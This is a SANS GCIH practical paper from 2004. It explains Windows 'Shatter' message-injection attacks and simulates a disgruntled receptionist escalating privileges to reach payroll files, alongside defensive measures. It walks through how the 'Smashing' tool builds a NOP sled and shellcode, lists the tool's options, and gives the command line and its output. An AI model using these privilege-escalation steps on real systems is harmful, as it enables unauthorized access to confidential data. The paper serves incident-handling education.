Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
The enemy within: Handling the Insider Threat posed by Shatter Attacks

Submission for SANS GCIH Practical: v.3

Margaret R. Layton
February 6, 2004
Summary

Small organizations and companies face unique security challenges in the world. Without the financial resources and sometimes without trained security professionals, smaller companies sometimes lack the vision and foresight to protect against the simplest of security issues. The gaps in their protection can affect everything from the employee’s ability to do their job to the confidentiality of customer data. The reasons for this vary:

- The boss sees the “latest cool thing” and insists that it is implemented without thought given to the security of that item.
- The cost of securing infrastructure gets lost or de-emphasized when other pressing business concerns arise.
- The notion that “we are a small company (organization, whatever) so who would want to hack into us?” prevails, to the danger of all concerned.
- The “IT staff” is frequently one person serving in different roles, and there may be no one else in the company that can relate to the challenges facing the technical world.
- Staying up to date on technology through tradeshows, periodicals, and subscription services is not a priority on the calendar.

In this paper I am going to simulate a real-world situation, which I was recently brought in to evaluate. In the real-world situation, a company had “confidential” files, which had been distributed beyond their intended audience. Essentially, payroll files had become public knowledge among employees, and the company was spending thousands of dollars either in recruitment fees to replace exiting employees, or in raises that had not been budgeted for employees that remained. A friend at the company called me, trying to find the source of their distribution and prevent such access from happening again.

I will use the Incident Handling Process to address an attack. The investigative process of addressing the problem that the company had brought to light all of the “reasons” listed above, and this paper is going to illustrate that even in the smallest of companies or organizations, basic steps need to be taken to secure information and systems, and basic awareness needs to be taught to ensure a secure environment for all. These steps do not need to be costly.

Because of their non-existent security structure, recreation of the actual events was not possible, but simulation of one possible way that the files were accessed and distributed was pretty easy to piece together from the little data that was available. My lab environment is a near recreation of the company environment: a small office, with eighteen users on a small Windows network, with a Network Administrator who has some security awareness but no in-depth training. Using the “Shatter” exploit method, I will simulate an attack that could have led to the exposure that the company
experienced. There are many small companies, daycare centers, charities, and non-profits that operate with similar structures currently in place.

While there is often a lot of media coverage on remotely-exploitable vulnerabilities, worms, Trojans, viruses, and other “bad code”, the local exploit code, or code that can only be run once a user has access to a system, should be considered of equal import by most network administrators since much research gives credibility to the idea that company insiders are the greatest threat to corporate data. “Reports of actual incidents consistently show that insider attacks not only outnumber external attacks, but their damage costs victims even more.” (Skoudis, 2001)

Statement of Purpose

The intent of this attack is to simulate a malicious internal user, who with minimal resources can compromise the confidentiality and potentially the integrity of data, leaving in question the contents of files that remain in tact. Using “Smashing”, a coded tool which uses the “Shatter Attack” method as explained in the exploit section of this paper, I will perform privilege escalation and access files that are not intended for general distribution, and that I should not have accessed. For the security novice, privilege escalation, in general, refers to an end user’s (successful) attempt to elevate a “user” role to an “administrator” role. Roles in this example will refer to the user sign-in on a Windows system. To break it all out into plain English, I will log in as a basic user and access administrator-level or “privileged” files. I will copy the target files off the system and simulate unauthorized access and distribution of these files.

This type of attack was chosen to illustrate the dangers that exist in a basic user desktop when applications are unpatched, upgrades are not applied, and an untrusted user has insecure (higher privileged) applications running on the desktop. These dangers exist within organizations, regardless of whether they are connected to the Internet or even to an internal LAN. Interactive access to a machine is all that is needed if proper security measures are not followed. Interactive access can be achieved either through physical access at the console, or through remote tools such as PCAnywhere, Terminal Services, or DameWare Mini Remote Control.

The Exploit

“Shatter Attacks take advantage of Windows messages, the basis for the Windows operating system, not being authenticated. A queue accepts and distributes programmatic instructions destined for a given window based on handles and determines how to react to the messages.” (Cooper, 2002)

Introducing Shatter

The original “Shatter” attacks were released in August of 2002, and were called “Shatter” because it is an attempt to break Microsoft Windows, using Windows Messaging and WM_TIMER to achieve the end goal of privilege escalation. “Shatter
attack” became the accepted terminology used to describe “attacks against the Windows GUI environment that allow a user to inject code into another process through the use of windows messages.” (Moore, 2003)

To understand this vulnerability, the reader needs to understand that Windows provides a set of privileges to each user. When you log on to the computer, the system identifies who you are and what privileges you require. Administrators, for instance, may have rights to change the security policy of machines and read the event logs, while the typical end user may only have the ability to create files, and may be restricted from reading their logs. The programs that are called by the user typically inherit the privileges of the user. At the root of the vulnerability are processes on the desktop which run with elevated privileges, regardless of which user is utilizing the computer at the time. This is because while users may be restricted in their activities, some applications may require additional privileges to complete their tasks. A Host IDS system, for instance, needs to accomplish tasks that a typical end-user with perhaps e-mail and word processing right may not require. The vulnerability results if an attacker can utilize the privileges owned by a system process.

This vulnerability is actually a remnant of sorts from 16-bit Windows days, when there was just one address space shared by everything on the desktop. When Windows moved to the 32-bit world, separate address spaces exist for each process. However, although address space is not shared, the underlying code does not validate or check whether the information being passed in the WM_TIMER message is correct. The source and destination of the messages being sent is not verified as to whether or not it comes from active valid applications. This vulnerability was discussed as early as 1997 in articles about Windows NT. (Pietrek, 1997)

The Vulnerabilities within Event-Driven Systems

The “Shatter attack” is an exploit that makes use of vulnerabilities that are almost unavoidable in event driven systems. An event-driven system was defined in 1992 as “a system of objects which interact with each other using a message-passing mechanism.” (Berson, 1992). With this general description, the end user will bring to mind systems that he has worked with. Most are commonly familiar with GUI event-driven systems such as Windows or Java Virtual Machine. To give a high-level overview of the problem with event-driven systems in general, we refer to a paper by Symeon Xenitellis, where he says: “In an event-driven system there is typically the facility for objects to send events to other objects. Often, there is no access control for this process, even when objects belong to different users, thus it is possible for an unprivileged user to send events to objects that belong to a privileged user.” (Xenitellis, “New Avenue of Attack”, 2002: p.1)

What does this mean to us? In a direct reflection of the above generic vulnerability description, consider Windows as our event-driven system. The facility that it uses to send events is windows messaging. However, the flaw in the messaging system of
windows is that any window can use procedures to send messages to any other window. Some of the Windows message receivers do not check to see if the message they received came from a valid application process.

In both of his papers on generic security vulnerabilities in event-driven systems, Xenitellis demonstrates the use of the WM_TIMER message to execute custom code. This is the same vulnerability that the shatter attack exploits. For more examples of the security issues present in event-driven systems, please refer to his work listed in the References section.

**What Does This Attack Mean?**

When “Shatter” first came to light, in generated a buzz in the newsgroups and a slight buzz in the media. Unfortunately for those who may not be security minded, the follow-up postings disagreed on whether or not this was even an issue, so for most people, it fell by the wayside. In articles evaluating the attack, claims were made similar to this one:

> “Despite being around for well over a year, shatter attacks haven't been much of a real-world problem. Shatter attacks presume an intrusion of attack code on the system, or in other words, a hacker needs to already have an interactive attack program installed and executed on your system in order to begin his or her shatter attack. By the time they can do this, they probably don’t need to do the shatter attack in order to have their way with the system, although it could be useful for privilege escalation at that time.” (Seltzer, 2003)

Reading these statements, and Microsoft’s statements that they originally posted in response to the vulnerability revelation (listed in the following paragraphs), the typical end user would believe this is a minor problem. But computer threats to large corporations and government agencies come from both inside and outside their electronic perimeters, according to recent studies. In the recent CSI report of Computer Crime, they list that “45% of respondents detected unauthorized access by insiders, ... with insider abuse of network access (80%) ... the most cited form of attack.” (CSI, 2003)

Given this statistic, how can any organization, large or small, ignore threats that “requires access?” In addition, given the possibility of remote access to a flawed system through Citrix or Terminal Services, remote exploit of this vulnerability is possible. Chris Paget says, in his FAQ regarding the “Shatter Attack” that “…physical access is NOT required, just a desktop. Terminal Services or Citrix both work perfectly, so ASPs based on either of those are in trouble.”

Microsoft itself downplayed this problem, citing “for the Shatter Attack to do any damage, an intruder must gain access to a user's system.”

http://www.progresstalk.com/archive/index.php/t-49872 Despite their original claims
that it is not a problem, or is a known issue, a patch was released, according to the bulletin, six months after the original Shatter code was posted. In addition, the Microsoft Security Bulletin claims that “…in addition to addressing this vulnerability, the patch also makes changes to several processes that run on the interactive desktop with high privileges. Although none of these would, in the absence of the WM_TIMER vulnerability, enable an attacker to gain privileges on the system, we have included them in the patch to make the services more robust. “

While first denying the problem, it makes changes to “several processes”. That’s interesting! However, their original position was one from a logical standpoint – it was based on one of their laws: If a bad guy can persuade you to run his program on your computer, it’s not your computer anymore. (Microsoft’s Ten Immutable Laws)

Most security professionals will agree – if a bad guy can run his program on your computer, that’s a problem. But with e-mail attachments that can be executables, file sharing between networks, and the continued trend toward “openness” and the ability to quickly share information from wherever you are, it is no longer enough to assume perimeter protection will protect you. When you introduce the human factor into the equation, the results to the question “how secure are your systems?” becomes unpredictable. What if the end user has been taking courses at night and “just wants to try something?” What level of expectations can we realistically hold that a technically unsavvy CEOs will pick secure applications that follow all the laws of secure programming? This seems to be an unrealistic goal. The problem of the WM_TIMER issue is twofold:

1. It exists in Microsoft’s structure, they have created an API that allows for vulnerable software to be created
2. Developers of third party products are not delivering secure software, and they share equal responsibility for delivering software vulnerable to these documented issues.

The debate of who is at fault is not as relevant as the fact that although the issue and debate has died down, the problem has not gone away. Systems remain unpatched, people remain blind to the insider threat since it does not necessarily employ remote mechanisms, and what is more, patched systems may not be fixed.

A year after the Shatter code was released, Oliver Lavery writes a paper to show how the Shatter Attack is still a problem. In this paper he illustrates that while Microsoft has released a patch to fix the original flaw (in WM_TIMER), the underlying problem which exists in the basic messaging system, remains as released and untouched (Lavery, 2003: p.6) Applications that are developed to run with system privileges may not follow Microsoft’s recommended security practices, and these applications would allow the vulnerability to be exploited. As he pointed out "'I think the point that many people have missed in the past is that this is not a single attack, it's a type of attack,' Lavery wrote in an e-mail interview. 'Taken alone, each instance of a shatter attack is a problem, but not a critical one. The fact that this type of hole is present in many applications, including parts of Windows itself, makes the problem much more serious.'” (Lemos, 2003)
Unless companies focus on the insider threat and plug the holes that require access to the box, they will not be secure, and neither will anyone’s information residing within those companies.

**Specifics of the Shatter Attack**

**References to the Vulnerability:**

<table>
<thead>
<tr>
<th>Reference</th>
<th>BID (BUGTRAQ ID) #5408</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Microsoft Windows Window Message Subsystem Design Error Vulnerability</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.securityfocus.com/bid/5408">http://www.securityfocus.com/bid/5408</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Reference</th>
<th>Microsoft Security Bulletin</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Flaw in Windows WM_TIMER Message Handling Could Enable Privilege Elevation</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Reference</th>
<th>CIAC N-027</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Flaw in Windows WM_TIMER Message Handling</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.ciac.org/ciac/bulletins/n-027.shmtl">http://www.ciac.org/ciac/bulletins/n-027.shmtl</a></td>
</tr>
</tbody>
</table>

**Additional references to related exploits include:**

**NetDDE Escalation and GetAD:**

<table>
<thead>
<tr>
<th>Reference</th>
<th>CAN-2002-1230</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>NetDDE Agent n Windows systems allows local users…</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1230">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1230</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Reference</th>
<th>X-Force 10343</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>win-netdde-gain-privileges(10343)</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.iss.net/security_center/static/10343.php">http://www.iss.net/security_center/static/10343.php</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Reference</th>
<th>BugTraq ID 5927</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Microsoft Windows NetDDE Privilege Escalation Vulnerability</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://online.securityfocus.com/bid/5927">http://online.securityfocus.com/bid/5927</a></td>
</tr>
</tbody>
</table>

For full description of this vulnerability and exploit, refer to the following GIAC paper: [GetAD exploit and the Insider](#) While this paper focuses on the GetAD exploit and how an insider uses it to provide remote access and information to an outsider, the paper you are reading now focuses on how that remote access and connection is not even necessary to potentially damage a company that is oblivious to the insider threat.
Shatter Attack in Windows XP

<table>
<thead>
<tr>
<th>Reference</th>
<th>CAN-2003-0897</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>&quot;Shatter&quot; vulnerability in CommCtl32.dll in Windows XP may allow local users to execute arbitrary code by sending (1) BCM_GETTEXTMARGIN or (2) BCM_SETTEXTMARGIN button control messages to privileged applications.</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0897">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0897</a></td>
</tr>
</tbody>
</table>

Shatter Attack in Dameware

<table>
<thead>
<tr>
<th>Reference</th>
<th>BugTraq ID 8395</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>DameWare Mini-RC Shatter</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.securityfocus.com/bid/8395">http://www.securityfocus.com/bid/8395</a></td>
</tr>
</tbody>
</table>

VNC-based shatter vulnerability

<table>
<thead>
<tr>
<th>Reference</th>
<th>CAN-2002-0971</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Vulnerability in VNC, TightVNC, and TridiaVNC allows local users to execute arbitrary code as LocalSystem by using the Win32 Messaging System to bypass the VNC GUI and access the &quot;Add new clients&quot; dialogue box.</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0971">http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0971</a></td>
</tr>
</tbody>
</table>

Utility Manager Privilege Escalation Vulnerability

<table>
<thead>
<tr>
<th>Reference</th>
<th>BugTraq ID 8154</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Microsoft Windows Accessibility Utility Manager Privilege Escalation Vulnerability</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.securityfocus.com/bid/8154">http://www.securityfocus.com/bid/8154</a></td>
</tr>
</tbody>
</table>
### Vulnerability/Exploit Details:

**Classification:** Design Error – A failure in a program that results from conditions that were not planned for in its design

**Vulnerability Impact** – (Depends on the implementation.) Privilege Escalation, Code injection, possible buffer overflow

**Operating Systems** – Microsoft’s KnowledgeBase lists the following programs as vulnerable to the WM_TIMER issue. Depending on which variation of the “shatter attack” is used, this list may expand/contract. (i.e. the attack method used in XP Visual Styles is not possible in Windows NT). This list comes from Microsoft Knowledgebase Article 328310, and all of these are vulnerable to the underlying WM_TIMER issue that is used as the basis for the exploit in this paper.

- Microsoft Windows XP 64-Bit Edition SP1
- Microsoft Windows XP 64-Bit Edition
- Microsoft Windows XP Home Edition
- Microsoft Windows XP Home Edition SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Professional SP1
- Microsoft Windows 2000 Advanced Server
Protocols/Services/Applications:

The “Smashing” code can exploit any system that is vulnerable to the WM_TIMER issue. It has several ways of sending WM_TIMER messages, and two ways of injecting code into windows. This is an exploit affecting the Win32API, and more specifically it can take advantage of any program that uses these messages in a privileged state. Because of this, several applications are vulnerable, including: DameWare Mini Remote Control, McAfee VirusScan, VNC, and possibly different Windows of other applications. Remote connections to machines can be exploited if connecting through console logon, Terminal Services, or Citrix, but the code is considered a “local” exploit, meaning that the malicious user needs to have (interactive) access to the machine for the exploit to work.

Brief Description:

The original “shatter” attack used a function of Windows called WM_TIMER. This function has a flaw which can be described as follows...
“…A security vulnerability results because it’s possible for one process in the interactive desktop to use a WM_TIMER message to cause another process to execute a callback function at the address of its choice, even if the second process did not set a timer.” (CIAC, 2002)

There are several places that can be used to reference this vulnerability and why the vulnerability is a problem, here we quote Microsoft:

“By default, several of the processes that are running in the interactive desktop do so with LocalSystem privileges. As a result, an attacker who can log on to a system interactively can potentially run a program that would levy a WM_TIMER request upon such a process, causing it to take any action the attacker specified. In this scenario, the attacker can have complete control over the system.”
Microsoft Knowledge Base Article – 328310

The “Smashing” code takes the basic “shatter” exploit and packages it in a repeatable executable, which searches the system for an application or process vulnerable to the WM_TIMER issue and then proceeds to exploit the vulnerability. This tool can also be used to enumerate windows for research, as it will report all thread IDs and top-level window handles owned by different processes. Creative malicious users may use this for reconnaissance to research possible attacks on the system.

**Variants:**

Since the early release of “shatter” exploit code, additional exploits using the same method have been discovered in several different functions within Windows, including EM_SETWORDBREAKPROC, BCM_GETTEXTMARGIN and BCM_SETTEXTMARGIN, LVM_SORTITEMS, LVM_SORTITEMSEX. Possibly vulnerable messages (as referenced by Moore, 2003) EM_STREAMOUT, EM_STREAMIN, EM_SETHYPHENATEINFO, and TVM_SORTCHILDRENCB. He also references additional messages that can be used for overwriting of arbitrary memory locations.

References on variants of this exploit can be found in the “Additional references to related exploits” section.

**Vulnerability References:**

The code for “smashing” was found on the references for BlackHat 2003 [http://www.blackhat.com/images/bh-media/tooldownload-sm.gif](http://www.blackhat.com/images/bh-media/tooldownload-sm.gif) along with Chris Paget’s presentation “Exploits & Information about Shatter Attacks”

**Additional References on the original Shatter vulnerability:**

“Exploiting Design Flaws in the Win32 API for Privilege Escalation” whitepaper by Chris Paget (aka FOON) at [http://security.tombom.co.uk/shatter.html](http://security.tombom.co.uk/shatter.html)

“Shatter attacks - more techniques, more detail, more juicy goodness” followup by Chris Paget (aka FOON) at [http://security.tombom.co.uk/moreshatter.html](http://security.tombom.co.uk/moreshatter.html)


Additional references on general vulnerabilities in Event Driven systems, which includes information on the WM_TIMER issue:


How the exploit works

Summary

As we have discussed, Windows applications are event driven. The exploit within Smashing takes advantage if WM_TIMER or DefWindowProc(). (There are other messages that can be used as you will see in the Code section.) The Windows messages of these functions pass information to windows procedures. (For more information on Windows Procedures, please visit Microsoft’s library available from MSDN – the Microsoft Developer Network.) The Windows messages can be generated by system input or by applications – and as we have discussed, different processes can send messages to other processes within the desktop. The vulnerability will exist if processes on an interactive desktop are of higher privilege then the end user. These can be a third-party application (such as VirusScan), or a process from within Windows itself. (My experimentations with the code, for example, showed that when the “Welcome to Windows 2000” screen was implemented on different unpatched versions of Win2K, the system was vulnerable.) WM_TIMER is easily exploitable, since it is used to set the timer that determines when the callback function will be executed. If one application creates a specially-crafted message that sets the address of the callback function to their own needs and than sends a WM_TIMER message with that specially-crafted message to another application, that second process does not do any validity checking on the message, and assumes that it is supposed to execute that which is contained within the message.
Code unraveled

In this section I will walk through the code. In case you are not interested in looking at the code, I have summarized what the code is doing in this section, with the initial points being displayed according to the author’s “readme” that is attached to the code. Appendix A will give the code, with section headers that correspond with this explanation. This way, even the non-programmer can understand the exploit from the bottom level. Because the code is written with lots of calls within itself, I will describe what the exploit is doing in order, which may not necessarily appear in the code in the same order. In addition, the code is fairly well commented, so I only add pointers in the code itself to illustrate the walkthrough. My input is described in bold. (This would be any input that may change the outcome of the exploit)

1) Load the system with low (or no) privileges. I logged in as Guest on the target machine.
2) Smashing is run from the command prompt with the following parameters
Smashing [options] <Command line>

OPTIONS within Smashing include the following:
• /i (Interactive) This option will tell Smashing to start the intended process in interactive mode. For instance, if you want to send cmd.exe, you will want it interactive so that you can then type commands into the Command shell.
• /t (Threads) This targets threads instead of processes and send the messages to threads with PostThreadMessages.
• /m (Message box) This option puts shellcode in the window caption of its own created message box.
• /e (Very verbose)
• /v (Verbose) This option will report back to the screen details about what it is doing and what it finds in processes and windows. (/v /v will also mimic /e above.)
• /p:PID (Process ID) Smashing will target the process ID entered (in decimal).
• /b (Brute force) Smashing will run through every process, both through windows and threads, until it is successful.
• /w (Windows) Smashing will call EnumWindows and target every window handle returned by the system.

for my attempts at exploits, I variously ran Smashing /w /v /v /i cmd.exe and Smashing /b /v /v /i cmd.exe

3) Smashing first determines the username and what privileges it currently has.
4) Smashing opens a named pipe within a separate thread handle.
5) Step 5 is the creation of basic shell code. The programmer defines header files and sets up programs and defines variables to make the exploit work. To break down the process of building the exploit, this will be explained in steps:
a. Create shell code. The shell code is 93 bytes in length. There are some null bytes in the code. At the moment, a graphical interpretation of the code might resemble this:

```
0  4  8  21  25  93

0000 0000
```

d. Create a NOP block of ½ a meg. For non-programmers, this means he has created empty space in the program (through No Operation). This means that if the targeted system returns to any point within this “NOP block”, nothing will happen and the system will continue looking through the block until it finds the exploit code, which would essentially be the next instruction.

e. He then creates a tag at the beginning of the block for debugging purposes, and copies his 93 bytes of exploit at the end.

```
DEBUG TAG NOP Sled 93 bytes shell code
```

f. The big unknown in the program is what Program the attacker will try to run. I was doing a fairly simple attack, all I wanted was a command shell returned. My Program Name, in this case, was essentially `cmd.exe`. Using this as the assumption, going forward the code would then insert the program name at the end of the shell code. As demonstrated below, this changes the size of the NOP block somewhat, but still gives enough of the empty space to ensure that a large chunk of address space will “slide” to the exploit code. The remainder of the explanation we will refer to this finished block as the “payload code”.

```
DEBUG TAG NOP Sled 93 bytes shell code cmd.exe
```

6) Smashing enumerates the threads within each target process. (If you have selected `/p:PID` as an option, this will only be one process.) In our case, a large amount of processes were attacked.

7) Each thread has associated windows, and these are also enumerated. The program repeats this loop until all threads and windows are enumerated. This is done through the `EnumThreadWindows` function.

8) Payload code is sent to each window handle (through `SetWindowsText()`).
9) Each window handle sees the Payload code and as a result receives the WM_TIMER messages with callbacks to other addresses.
10) Those callbacks, if they land within the NOP block of the memory address, will cause the targeted process to run the shellcode at the end of the payload.
11) The shellcode tells Smashing to load again with high privileges through ShellExecute().
12) The high-privileged instance of Smashing connects to the named pipe in #3 and receives parameters for operation.
13) The low-privileged instantiation of Smashing quits when it has passed its parameters on.
14) The high-privileged instantiation of Smashing looks at the parameters, and decides what it is supposed to do. It calls CreateProcess() accordingly.
15) If the process starts successfully, then the high-privileged Smashing quits too.

Windows Processes, functions, terms referenced above:


**CreateProcess():** The CreateProcess function creates a new process and its primary thread.

**ShellExecute():** Performs an operation on a specified file.

**EnumThreadWindows:** Enumerates all windows associated with a thread by passing the handle to each window, in turn, to an application-defined callback function. This process will continue until the last window is enumerated or the callback function returns FALSE.

**GetProcAddress:** Takes as parameters the DLL module handle (returned by either LoadLibrary, AfxLoadLibrary, or GetModuleHandle), and either the name of the function you want to call or the function's export ordinal

**LoadLibrary:** Maps the specified executable module into the address space of the calling process.

How to Protect Against Shatter Attacks

While debate continues as to whether this kind of attack has effective protection to cover all circumstances, there are some things that can be done. Because the underlying vulnerability is the same as that in a GetAd exploit, these protections are the same or similar to those listed in “GetAd and the Insider”:

**Patch the system**

Microsoft has released several patches, depending on the type of system that you have

Refer to the following chart:
<table>
<thead>
<tr>
<th>System</th>
<th>Patch Name</th>
<th>Link</th>
</tr>
</thead>
</table>

**Assign permissions to processes**

Locking down cmd.exe and command.exe to only allow administrator access would alleviate the problem of users running command line tools such as the Shatter program.

Locking down systems to minimize the possibility for reconnaissance from within would help alleviate the insider threat issue, along with basic policies and procedures that are outlined in the Incident Handling portion of the paper.

**Monitoring System Usage**
The privilege escalation points of the Shatter and Smashing attacks may be detected by Host Intrusion Detection systems if they are configured to monitor usage by processes. For instance, a Host IDS may report a user logged on at the guest account if a process with elevated privileges is detected at the same time. While this is not prevention, it may lead to a rapid response in this situation. Log monitoring can be your friend. The Windows event log, if properly configured, can also help with early detection. However, everything being logged is only an effective measure if tools are in place to analyze those logs in a timely manner and detect anomalies.

The Attack

This section will describe how the attack theoretically took place. It will include a description of the environment (both victim and attacker) and will have information on the stages that the (theoretical) attacker took in order to accomplish their goal. For this section, keep in mind the goal of the attacker, which is to access and read (if possible, edit!) confidential salary information.

The Environment

The Target Network

Since I am replicating a theoretical “real world” scenario, I am going to describe the “real” environment, with pertinent information on the company. (Names have been changed to protect the innocent!)

StarStar is a small management company with overseas concerns. There are 11 employees in the office. The staff is made up of CEO, CFO, 3 Finance Staff, Sales/Marketing, Network Administrator, VP of Administration, Receptionist, and two assistants. The Assistant to the CEO also deals with the CEOs personal finance as well as Human Resource issues such as payroll, Paid Time Off, and recruiting practices. The receptionist fills in at the Assistant’s desk when the assistant is out on leave, but does not handle any of the HR items.

A similar exploit was covered in the practical GetAD exploit and the Insider. Unlike the environment described in that paper, StarStar is on a tight budget. Security was an afterthought. They have been operating since Windows for Workgroups and were thrilled with what the technology had brought them so far. Because they are a privately held company, they operate on the notion that they are “too small to be hacked.” In addition, since their only connection to the Internet was through a single modem, they did not worry that much about the external attacks.

Their Cable Modem connects into an Instant Broadband™EtherFast®Cable/DSL Firewall Router with 4-Port Switch/VPN, which then connects to a hub which has all of the workstations connected to it. The only workstation connected directly on the router
is that of the Network Administrator. While the router has VPN (Virtual Private Network) and DMZ capabilities, these are not used. The website is hosted at the ISP, as are their e-mail accounts. The single policy on the firewall is “deny unless expressly permitted incoming traffic.”

The server is used simply for file and application sharing/backups/etc. Anything that should be backed up is placed there in protected user directories once a week. The Financial applications are shared through this server, too. The finance office has an additional analog modem that dials into various banks for the purpose of transferring funds. It is disconnected when not in use, and requires Smartcard access to the accounts when it is connected.

Most of the Desktops have the exact same configuration:

Windows 2000 Service Pack 3
McAfee VirusScan 7.0
Microsoft Office 2000 Professional
Outlook Express
QuickBooks Timer (for tracking time sheets)
WinZip 8.x
ESS-Code 7.8 (used in the decoding of e-mails)
Ghost

In addition, the finance controller machine has some banking software on it from various financial institutions, and the (Target) Assistant has ADP Payroll software loaded.

Although it is 2003, the last “major upgrade” of software/hardware took place just prior to 2000, in preparation for Y2K. Prior to that, the machines in the office were running Windows95. The machines are on a 5 year ROI schedule, and the company is determined to push them to the limit. They were built in a “white box” environment by consulting firm – these systems were popular at the end of the 1990s. The basic hardware specs were:
Genuine Intel Pentium 3 300 MHz system
CD Drive
Diskette Drive
96 Meg RAM

The file-sharing server had a 10 disk RAID array, and a tape backup unit running ArcServe attached to it. Because it is not used or even targeted with this attack, I am not going to further outline the system so as not to confuse the issue.

The basic network diagram can be found in Figure 1.
Figure 1 - Network Diagram

- Marketing
- Receptionist
- CEO
- CEO's Assistant
- Shared Laser Printer
- File Sharing Server
- 3 Com 12 port hub
- CFO
- Finance 1
- Finance 2
- Finance 3
- VP Administration
- Assistant
- Banking modem
- Instant Broadband™ EtherFast® Cable/DSL Firewall Router with 4-Port Switch/VPN (Linksys)
- Cable Modem
- Laser printer
- Internet
- Network Administrator
- VP Administration Assistant
- Finance 3
The Victim
Payroll files are in c:\ADP\xxx.xxx

Spreadsheets that track payroll amounts, raises, time off, hired/fired in a directory that is only accessible to administrators is in a folder called C:\Protected.

The CEO's personal information is in similar spreadsheets that are in C:\CEOFiles that are only accessible by the Assistant's account and the CEO's account through Windows File Sharing.

Instead of the standard CD drive, the victim has a CD/RW drive. All of these confidential directories are backed up to CD through a local CD-RW drive once a week and given to the CEO for off-site storage. He does not want these files stored on the network server, because they are “too confidential”.

The Source
In the scenario we are recreating here, the source is the target, because it is an internal attack. How this is accomplished is explained in the next section: Staging the Attack.

The Source in this case is a disgruntled employee, who did not receive the raise they expected. Evaluating the insider threat within an organization may reveal similar situations of jealousy, bitterness, etc, Being aware that these situations may exist in the smallest of offices is the first step in securing the infrastructure from the insider threat.
Staging the Attack

In this section, I will take you through the (theoretical) steps that the attacker has taken. In actuality, the attack is very simple. The attack in this case is an Insider Threat, one that is intentional, but with non-destructive intent. In this case, while it is relatively easy to modify data in the target applications, the checks on the payroll system would not allow it to go through, so the belief of the company is that this was information gathering attack.

The insider scenario painted here is that I am playing the role of the receptionist. When the Assistant to the CEO goes on leave, I forward the switchboard to her desk, and sit there to be able to respond to the CEO’s needs. I can’t access things that aren’t allowed to the guest account, but I can access Quickbooks to enter my timesheet, and Microsoft office to provide support. I use my own Windows account.

Reconnaissance

For a network insider, an attack of this kind may not require any reconnaissance. Because all the machines are configured pretty much the same, I can explore vulnerabilities within standard-install applications on my own time. I can research them from home, download them at home, and never need any additional tools on the machine. By running some basic Google searches at home, I discover a vulnerability exists in the version of VirusScan we are running, perhaps even in the Windows version we are running. In addition, what is this program here? (see window with arrow below...)

I'm pretty friendly with the IT guy, so I ask him what that means. He tells me it is a “remote control” program – he uses it to install/upgrade programs on people’s desktops after they go home. Rather than walking computer to computer, he just logs in remotely. This icon is for Dameware Mini-Remote Control.

I can also check out the settings on my system by simply exploring my event viewer logs in Windows. What does it seem that we are auditing? Not much on my machine. Provided I don’t fail at anything, there won’t be much to log....
**Scanning**

What scanning? Where? Again, this is a step that may not be necessary if you are susceptible to the Insider Threat. Since I know as the receptionist that I have the opportunity every day at lunch and every month or two for much longer to sit at the target computer, I can just happily await my opportunity.

**Exploiting the system**

Today is the day I am going to access the payroll files. I don’t think I am being paid fairly, and my review was not very good, so I received no pay raise this year. I am fuming mad! I was talking with my boyfriend and complaining about how I am sure that I am not being paid on par with the other assistants. Last night, I had my boyfriend find my Smashing tool on the Internet. He showed me how it works and gave it to me on a CD.

1. I logon to the system.
2. I look around, and see C:\Protected. Oooh – what is that? I can’t access it – I get the following error.
3. That’s what I want, without a doubt. To make sure nobody sees my work, I start Excel so I have a screen to quickly switch to in case somebody comes in.

4. I have my “Smashing code” on CD. I insert my CD into the drive, and run cmd.exe by selecting Start, Run (as illustrated below) and typing my command.

5. This gives me a lovely “Command Prompt” – a screen that requires text input.

6. I type my command. In this case, my command is “Newsmashing”. It returns telling me the command line options I have.
Well, I am pretty sure there is something exploitable on the system. I think I want to attack Windows.

7. So I open the Windows I think are exploitable... Dameware, ESS-Code, QuickBooks Timer, VirusScan Console...
The ESS Windows, for instance, look like this (there is something interesting about to happen to this window):

8. I type my command, which looks like this:

```
D:\SANS\Newsmashing\Debug>newsmashing /w /i /v /v cmd.exe
```
9. Because I have specified the /v /v (Very Verbose) mode, I get a return like this:

Window bruteforce switch specified
Interactive switch specified
Verbose specified
Very verbose specified
Command to send to pipe (24 bytes):
  cmd.exe
  WinSta0\Default
  Sending callback, window 0x39008a, address 0x300000
  Sending callback, window 0x39008a, address 0x36ddd0
  Sending callback, window 0x39008a, address 0x3dbba0
  Sending callback, window 0x39008a, address 0x449970
  Sending callback, window 0x39008a, address 0x4b7740
